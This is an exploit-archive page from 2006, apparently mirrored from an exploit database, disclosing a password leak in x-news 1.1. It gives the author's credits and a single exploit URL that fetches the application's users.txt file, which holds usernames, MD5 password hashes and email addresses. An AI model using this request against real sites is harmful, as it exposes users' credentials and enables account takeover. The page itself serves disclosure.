[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : x-news 1.1 (users.txt) Remote Password Disclosure Vulnerability
# Published : 2006-12-30
# Author : bd0rk
# Previous Title : Bubla <= 0.9.2 (bu_dir) Multiple Remote File Include Vulnerabilities
# Next Title : Voodoo chat 1.0RC1b (users.dat) Password Disclosure Vulnerability
x-news 1.1 Password Disclosure Vulnerability
Affected Software: x-news 1.1
x-news Website: http://xqus.com
Bugfounder: bd0rk
Website: www.soh-crew.it.tt
Contact: bd0rk[at]hackermail.com
Greetings: str0ke, Perle, TheJT, ajann
[+]Exploit: http://[target]/[x_news_path]/news/db/users.txt
Showexample: |username|MD5-Hash|eMail|
# www.Syue.com [2006-12-30]